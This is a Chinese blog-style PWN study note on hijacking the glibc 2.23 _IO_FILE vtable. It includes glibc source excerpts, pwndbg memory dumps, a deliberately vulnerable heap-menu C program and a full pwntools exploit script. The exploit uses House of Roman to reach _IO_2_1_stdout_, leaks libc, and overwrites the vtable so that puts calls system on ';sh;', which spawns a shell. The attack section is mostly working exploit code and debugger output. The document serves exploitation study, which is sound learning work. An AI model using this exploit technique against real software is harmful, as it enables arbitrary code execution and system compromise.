【我的 PWN 学习手札】IO_FILE 之 劫持vtable

news2025/1/5 21:06:39

vtable帮助C实现了类似于多态的效果,然而其中的大量函数指针,一旦被劫持修改,就会产生巨大的危害。


前言

【我的 PWN 学习手札】IO_FILE相关几个基本函数的调用链源码-CSDN博客 

【我的 PWN 学习手札】IO_FILE 之 stdin任意地址写-CSDN博客

【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读-CSDN博客 

经过上述对IO_FILE结构体的初步探究,相信读者也关注到了结构体中的vtable成员,指向了一个函数表,完成对结构体数据的具体操作。


一、回顾IO_FILE结构体

这里以_IO_2_1_stdout_结构体为例。

下面是某程序运行时,_IO_2_1_stdout_结构体的值(glibc-2.23)


pwndbg> p _IO_2_1_stdout_ 
$1 = {
  file = {
    _flags = -72537977,                 (0xfbad2887)
    _IO_read_ptr = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_read_end = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_read_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_ptr = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_write_end = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_base = 0x7ffff7b9c6a3 <_IO_2_1_stdout_+131> "\n",
    _IO_buf_end = 0x7ffff7b9c6a4 <_IO_2_1_stdout_+132> "",
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x7ffff7b9b8e0 <_IO_2_1_stdin_>,
    _fileno = 1,
    _flags2 = 0,
    _old_offset = -1,
    _cur_column = 0,
    _vtable_offset = 0 '\000',
    _shortbuf = "\n",
    _lock = 0x7ffff7b9d780 <_IO_stdfile_1_lock>,
    _offset = -1,
    _codecvt = 0x0,
    _wide_data = 0x7ffff7b9b7a0 <_IO_wide_data_1>,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0,
    _mode = -1,
    _unused2 = '\000' <repeats 19 times>
  },
  vtable = 0x7ffff7b9a6e0 <__GI__IO_file_jumps>
}

可以看到_IO_2_1_stdout_.vtable指向了__GI_IO_file_jumps 

让我们结合glibc源码来进行分析:

//libioP.h
struct _IO_FILE_plus
{
  _IO_FILE file;
  const struct _IO_jump_t *vtable;
};

// libio.h
extern struct _IO_FILE_plus _IO_2_1_stdin_;
extern struct _IO_FILE_plus _IO_2_1_stdout_;
extern struct _IO_FILE_plus _IO_2_1_stderr_;
#ifndef _LIBC
#define _IO_stdin ((_IO_FILE*)(&_IO_2_1_stdin_))
#define _IO_stdout ((_IO_FILE*)(&_IO_2_1_stdout_))
#define _IO_stderr ((_IO_FILE*)(&_IO_2_1_stderr_))
#else
extern _IO_FILE *_IO_stdin attribute_hidden;
extern _IO_FILE *_IO_stdout attribute_hidden;
extern _IO_FILE *_IO_stderr attribute_hidden;
#endif

作为stdfile,stderr、stdin、stdout是经过初始化的全局变量:

#ifdef _IO_MTSAFE_IO
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
  static struct _IO_wide_data _IO_wide_data_##FD \
    = { ._wide_vtable = &_IO_wfile_jumps }; \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
       &_IO_file_jumps};
# else
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  static _IO_lock_t _IO_stdfile_##FD##_lock = _IO_lock_initializer; \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
       &_IO_file_jumps};
# endif
#else
# if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  static struct _IO_wide_data _IO_wide_data_##FD \
    = { ._wide_vtable = &_IO_wfile_jumps }; \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, &_IO_wide_data_##FD), \
       &_IO_file_jumps};
# else
#  define DEF_STDFILE(NAME, FD, CHAIN, FLAGS) \
  struct _IO_FILE_plus NAME \
    = {FILEBUF_LITERAL(CHAIN, FLAGS, FD, NULL), \
       &_IO_file_jumps};
# endif
#endif

DEF_STDFILE(_IO_2_1_stdin_, 0, 0, _IO_NO_WRITES);
DEF_STDFILE(_IO_2_1_stdout_, 1, &_IO_2_1_stdin_, _IO_NO_READS);
DEF_STDFILE(_IO_2_1_stderr_, 2, &_IO_2_1_stdout_, _IO_NO_READS+_IO_UNBUFFERED);

可以看到,vtable指向了_IO_file_jumps 

// fileops.c
const struct _IO_jump_t _IO_file_jumps =
    {
        JUMP_INIT_DUMMY,
        JUMP_INIT(finish, _IO_file_finish),
        JUMP_INIT(overflow, _IO_file_overflow),
        JUMP_INIT(underflow, _IO_file_underflow),
        JUMP_INIT(uflow, _IO_default_uflow),
        JUMP_INIT(pbackfail, _IO_default_pbackfail),
        JUMP_INIT(xsputn, _IO_file_xsputn),
        JUMP_INIT(xsgetn, _IO_file_xsgetn),
        JUMP_INIT(seekoff, _IO_new_file_seekoff),
        JUMP_INIT(seekpos, _IO_default_seekpos),
        JUMP_INIT(setbuf, _IO_new_file_setbuf),
        JUMP_INIT(sync, _IO_new_file_sync),
        JUMP_INIT(doallocate, _IO_file_doallocate),
        JUMP_INIT(read, _IO_file_read),
        JUMP_INIT(write, _IO_new_file_write),
        JUMP_INIT(seek, _IO_file_seek),
        JUMP_INIT(close, _IO_file_close),
        JUMP_INIT(stat, _IO_file_stat),
        JUMP_INIT(showmanyc, _IO_default_showmanyc),
        JUMP_INIT(imbue, _IO_default_imbue)};
libc_hidden_data_def(_IO_file_jumps)

有许多函数指针 

以puts为例,最终将调用_IO_file_xsputn,且调用该函数时的第一个参数为_IO_2_1_stdout_

二、利用演示

这里我们承接【我的 PWN 学习手札】IO_FILE 之 stdout任意地址读-CSDN博客的演示例程,继续利用。

前情提要:已经通过House of Roman将堆块申请到_IO_2_1_stdout_结构体上,并通过修改结构体指针leak出libc 

接下来我们将vtable指向可控区域,并作如下设置:

payload=p64(libc.sym['system'])*6
payload+=b'\x00'*3 #*0x33)
payload+=p32(0xfbad1880)+b';sh;'
payload+=p64(0)*16
payload+=p64(libc.address+0x39d780)
payload+=b'\x00'*0x48
payload+=p64(libc.address+0x39c5dd)
edit(10,payload)

其效果是:

pwndbg> p/x _IO_2_1_stdout_ 
$4 = {
  file = {
    _flags = 0xfbad1880,
    _IO_read_ptr = 0x0,
    _IO_read_end = 0x0,
    _IO_read_base = 0x0,
    _IO_write_base = 0x0,
    _IO_write_ptr = 0x0,
    _IO_write_end = 0x0,
    _IO_buf_base = 0x0,
    _IO_buf_end = 0x0,
    _IO_save_base = 0x0,
    _IO_backup_base = 0x0,
    _IO_save_end = 0x0,
    _markers = 0x0,
    _chain = 0x0,
    _fileno = 0x0,
    _flags2 = 0x0,
    _old_offset = 0x0,
    _cur_column = 0x0,
    _vtable_offset = 0x0,
    _shortbuf = {0x0},
    _lock = 0x7ffff7b9d780,
    _offset = 0x0,
    _codecvt = 0x0,
    _wide_data = 0x0,
    _freeres_list = 0x0,
    _freeres_buf = 0x0,
    __pad5 = 0x0,
    _mode = 0x0,
    _unused2 = {0x0 <repeats 20 times>}
  },
  vtable = 0x7ffff7b9c5dd
}
pwndbg> p/x &_IO_2_1_stdout_ 
$5 = 0x7ffff7b9c620
pwndbg> x/10gx 0x7ffff7b9c620-0x20
0x7ffff7b9c600 <_IO_2_1_stderr_+192>:	0x83f56000007ffff7	0x83f56000007ffff7
0x7ffff7b9c610 <_IO_2_1_stderr_+208>:	0x83f56000007ffff7	0x00000000007ffff7
0x7ffff7b9c620 <_IO_2_1_stdout_>:	0x3b68733bfbad1880	0x0000000000000000
0x7ffff7b9c630 <_IO_2_1_stdout_+16>:	0x0000000000000000	0x0000000000000000
0x7ffff7b9c640 <_IO_2_1_stdout_+32>:	0x0000000000000000	0x0000000000000000

 其中vtable:

pwndbg> tele 0x7ffff7b9c5dd
00:0000│     0x7ffff7b9c5dd (_IO_2_1_stderr_+157) ◂— 0xfff7b9b660000000
01:0008│     0x7ffff7b9c5e5 (_IO_2_1_stderr_+165) ◂— 0x7f
02:0010│ rsi 0x7ffff7b9c5ed (_IO_2_1_stderr_+173) —▸ 0x7ffff783f560 (system) ◂— test rdi, rdi
... ↓        5 skipped
pwndbg> 
08:0040│  0x7ffff7b9c61d (_IO_2_1_stderr_+221) ◂— 0x3bfbad1880000000
09:0048│  0x7ffff7b9c625 (_IO_2_1_stdout_+5) ◂— 0x3b6873 /* 'sh;' */
0a:0050│  0x7ffff7b9c62d (_IO_2_1_stdout_+13) ◂— 0
... ↓     5 skipped

简单来说,我们将vtable指向可控内存addr,虚函数表偏移0x38对应_IO_file_xsputn函数指针。我们将addr+0x38设置为system函数的地址。可以预料,当进行puts通过vtable索引、调用_IO_file_xsputn函数时,实际上调用了system函数,参数为&_IO_2_1_stdout_。

由于_IO_2_1_stdout_开头是4字节的魔术数据,因此我们在其后布置";sh;"。

因此构成了:system("□□□□;sh;")

(一)pwn.c

#include<stdlib.h>
#include <stdio.h>
#include <unistd.h>

char *chunk_list[0x100];

void menu() {
    puts("1. add chunk");
    puts("2. delete chunk");
    puts("3. edit chunk");
    puts("4. show chunk");
    puts("5. exit");
    puts("choice:");
}

int get_num() {
    char buf[0x10];
    read(0, buf, sizeof(buf));
    return atoi(buf);
}

void add_chunk() {
    puts("index:");
    int index = get_num();
    puts("size:");
    int size = get_num();
    chunk_list[index] = malloc(size);
}

void delete_chunk() {
    puts("index:");
    int index = get_num();
    free(chunk_list[index]);
}

void edit_chunk() {
    puts("index:");
    int index = get_num();
    puts("length:");
    int length = get_num();
    puts("content:");
    read(0, chunk_list[index], length);
}

void show_chunk() {
    puts("index:");
    int index = get_num();
    puts(chunk_list[index]);
}

int main() {
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);

    while (1) {
        menu();
        switch (get_num()) {
            case 1:
                add_chunk();
                break;
            case 2:
                delete_chunk();
                break;
            case 3:
                edit_chunk();
                break;
            case 4:
                show_chunk();
                break;
            case 5:
                exit(0);
            default:
                puts("invalid choice.");
        }
    }
}

(二)exp.py 

# 用了house of roman,但是懒得写循环了
# 先关闭aslr,再用下述代码打通

from pwn import *
elf=ELF("./pwn")
libc=ELF("./libc.so.6")
context(arch=elf.arch,log_level='debug')
def add(index, size):
    io.sendafter(b"choice:", b"1")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"size:", str(size).encode())

def delete(index):
    io.sendafter(b"choice:", b"2")
    io.sendafter(b"index:", str(index).encode())

def edit(index, content):
    io.sendafter(b"choice:", b"3")
    io.sendafter(b"index:", str(index).encode())
    io.sendafter(b"length:", str(len(content)).encode())
    io.sendafter(b"content:", content)

def show(index):
    io.sendafter(b"choice:", b"4")
    io.sendafter(b"index:", str(index).encode())

io=process("./pwn")
add(0,0x68)
add(1,0x98)
add(2,0x68)
delete(1)
add(3,0x28)
add(1,0x68)
edit(1,p16(0xc5dd))

delete(0)
delete(2)
edit(2,b'\xa0')
add(10,0x68)
add(10,0x68)
add(10,0x68)

# gdb.attach(io,'b read\nc')
payload=b'\x00'*0x33
payload+=p64(0xfbad1800)
payload+=p64(0)*3
payload+=b'\x00'
edit(10,payload)

io.recvn(0x41)
libc.address=u64(io.recv(6).ljust(8,b'\x00'))-0x39c600
success(hex(libc.address))

payload=p64(libc.sym['system'])*6
payload+=b'\x00'*3 #*0x33)
payload+=p32(0xfbad1880)+b';sh;'
payload+=p64(0)*16
payload+=p64(libc.address+0x39d780)
payload+=b'\x00'*0x48
# payload+=p64(0xdeadbeef)
payload+=p64(libc.address+0x39c5dd)
edit(10,payload)
io.interactive()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2270539.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

力扣编程从0-1

第一题 class Solution:def mergeAlternately(self, word1: str, word2: str) -> str:#计算两个字符串长度&#xff0c;从i 0开始遍历&#xff0c;每次循环&#xff1a;#如果i小于word1的长度&#xff0c;把word1[i]加到答案末尾#如果i小于word2的长度&#xff0c;把word2[…

SpringMVC(一)配置

目录 引入 第一章&#xff1a;Java web的发展历史 一、Model I和Model II 1.Model I开发模式 2.Model II开发模式 二. MVC模式 第二章&#xff1a;SpringMVC的入门案例 搭建SpringMVC的入门程序 1.创建新项目 2.等待加载导入坐标 3.处理xml文件和其他 导入tomcat 运…

迅为RK3568开发板编译Android12源码包-设置屏幕配置

在源码编译之前首先要确定自己想要使用的屏幕并修改源码&#xff0c;在编译镜像&#xff0c;烧写镜像。如下图所示&#xff1a; 第一步&#xff1a;确定要使用的屏幕种类&#xff0c;屏幕种类选择如下所示&#xff1a; iTOP-3568 开发板支持以下种类屏幕&#xff1a; 迅为 LV…

机器学习-感知机-神经网络-激活函数-正反向传播-梯度消失-dropout

文章目录 感知机工作流程 神经网络区别各种各样的神经网络 激活函数激活函数类型Sigmoid 函数ReLU函数Leaky ReLU 函数Tanh 函数 正向传播反向传播梯度消失(gradient vanish)如何解决 Dropout使用 PyTorch实战神经网络算法(手写MNIST数字识别)viewsoftmax和log-softmaxcross-en…

Android使用JAVA调用JNI原生C++方法

1.native-lib.cpp为要生成so库的源码文件 2.JNI函数声明说明 NewStringUTF函数会返回jstring JNI函数声明规则 3.JAVA中声明及调用JNI函数 声明&#xff1a; 调用 4.源码地址&#xff1a; gitgithub.com:tonyimax/UpdateTimeByThread.git

【git】git stash相关指令

目录 git stashgit stash save “”git stash list&#xff1a; 获取stash列表git stash pop&#xff1a;恢复最近一次stash缓存git stash apply stash{index}: 恢复指定缓存在这里插入图片描述git stash drop stash{1}&#xff1a;删除指定缓存 git stash clear :删除stash gi…

spring的@Transactional事务原理理解

目录 Transactional 普通例子代码和测试输出编程式事务事务代理实现和TransactionAspectSupport重要类复习Spring的事务传播机制有哪些实际工作中用到的事务处理 Transactional事务原理理解 Transactional 普通例子代码和测试输出 Transactional(rollbackFor Exception.class…

WebGL之Tree.js

tree基于WebGL的库绘制展示3D图形使用场景包括: 网页游&#xff1a;创建交互式的3D游戏&#xff0c;提供沉浸式的游戏体验。数据可视&#xff1a;将复杂的数据以3D形式展示&#xff0c;便于用户理解和分析。产品展&#xff1a;在电商网站上展示产品的3D模型&#xff0c;提供更…

图像识别-全连接层-卷积层-卷积层的计算-多输入通道场景-多输出通道场景-感受野-填充-VALID 与 SAME-stride-池化-CNN架构

文章目录 全连接层卷积神经网络的作用全连接层的问题场景图像处理和数据转换信息丢失的实例特征提取阶段分类阶段 卷积层卷积层的计算多输入通道场景多输出通道场景批量操作 感受野填充&#xff08;padding&#xff09;VALID 与 SAMEstride池化池化的作用 CNN架构 全连接层 卷…

MATLAB 车牌自动识别系统设计 SVM支持向量机方法 车牌识别

基于支持向量机&#xff08;SVM&#xff09;方法的车牌自动识别系统是一种利用SVM算法对车牌进行分类和识别的技术。该系统通过将车牌的图像处理和特征提取与SVM分类相结合&#xff0c;实现车牌的自动检测与识别。 1. 系统概述 车牌自动识别系统旨在从车辆图像中自动识别车牌…

《Vue3实战教程》39:Vue3无障碍访问

如果您有疑问&#xff0c;请观看视频教程《Vue3实战教程》 无障碍访问​ Web 无障碍访问 (也称为 a11y) 是指创建可供任何人使用的网站的做法——无论是身患某种障碍、通过慢速的网络连接访问、使用老旧或损坏的硬件&#xff0c;还是仅处于某种不方便的环境。例如&#xff0c;…

C++ 【回调函数】详解与代码解读

在现代软件开发中&#xff0c;回调函数是一个常用的工具&#xff0c;能够实现函数调用的延迟绑定&#xff0c;广泛应用于事件驱动、异步操作以及模块解耦等场景。本文将从基础概念、分类、实现方式到代码示例&#xff0c;全面讲解 C 回调函数的实现和应用。 什么是回调函数&…

No.1十六届蓝桥杯备战|第一个C++程序|cin和cout|命名空间

第一个C程序 基础程序 使用DevC5.4.0 写一个C程序 在屏幕上打印hello world #include <iostream> using namespace std;int main() {cout << "hello world" << endl;return 0; } 运行这个C程序 F9->编译 F10->运行 F11->编译运行 mai…

【Vim Masterclass 笔记05】第 4 章:Vim 的帮助系统与同步练习

文章目录 Section 4&#xff1a;The Vim Help System&#xff08;Vim 帮助系统&#xff09;S04L14 Getting Help1 打开帮助系统2 退出帮助系统3 查看具体命令的帮助文档4 查看帮助文档中的主题5 帮助文档间的上翻、下翻6 关于 linewise7 查看光标所在术语名词的帮助文档8 关于退…

印象笔记07——试一试PDF标注

印象笔记07——试一试PDF标注 [!CAUTION] 根据第六期&#xff0c;我再次查询了资料&#xff0c;印象笔记还是有一些可圈可点的功能的&#xff08;当然部分有平替&#xff09;&#xff0c;针对会员作用&#xff0c;开发使用场景虽然是逆向的&#xff0c;但我坚信这是一部分人的现…

JDK17源码分析Jdk动态代理底层原理

本文侧重分析JDK17中jdk动态代理的源码&#xff0c;若是想看JDK8源码分析可以看我的这一篇文章 JDK8源码分析Jdk动态代理底层原理-CSDN博客 两者之间有着略微的差别&#xff0c;JDK17在JDK8上改进了不少 目录 JDK 17的动态代理源码 核心入口方法 newProxyInstance 获取代理类…

【网络协议】开放式最短路径优先协议OSPF详解(一)

OSPF 是为取代 RIP 而开发的一种无类别的链路状态路由协议&#xff0c;它通过使用区域划分以实现更好的可扩展性。 文章目录 链路状态路由协议OSPF 的工作原理OSPF 数据包类型Dijkstra算法、管理距离与度量值OSPF的管理距离OSPF的度量值 链路状态路由协议的优势拓扑结构路由器O…

vim 的基础使用

目录 一&#xff1a;vim 介绍二&#xff1a;vim 特点三&#xff1a;vim 配置四&#xff1a;vim 使用1、vim 语法格式2、vim 普通模式&#xff08;1&#xff09;保存退出&#xff08;2&#xff09;光标跳转&#xff08;3&#xff09;文本删除&#xff08;4&#xff09;文本查找&…

为什么深度学习和神经网络要使用 GPU?

为什么深度学习和神经网络要使用 GPU&#xff1f; 本篇文章的目标是帮助初学者了解 CUDA 是什么&#xff0c;以及它如何与 PyTorch 配合使用&#xff0c;更重要的是&#xff0c;我们为何在神经网络编程中使用 GPU。 图形处理单元 (GPU) 要了解 CUDA&#xff0c;我们需要对图…

工厂模式与抽象工厂模式在Unity中的实际应用案例

一、实验目的 实践工厂模式和抽象工厂模式的实际应用。 创建一个小型的游戏场景&#xff0c;通过应用这些设计模式提升游戏的趣味性和可扩展性。 掌握在复杂场景中管理和使用不同类型的对象。 比较在实际游戏开发中不同设计模式的实际效果和应用场景。 学习如何进行简单的性…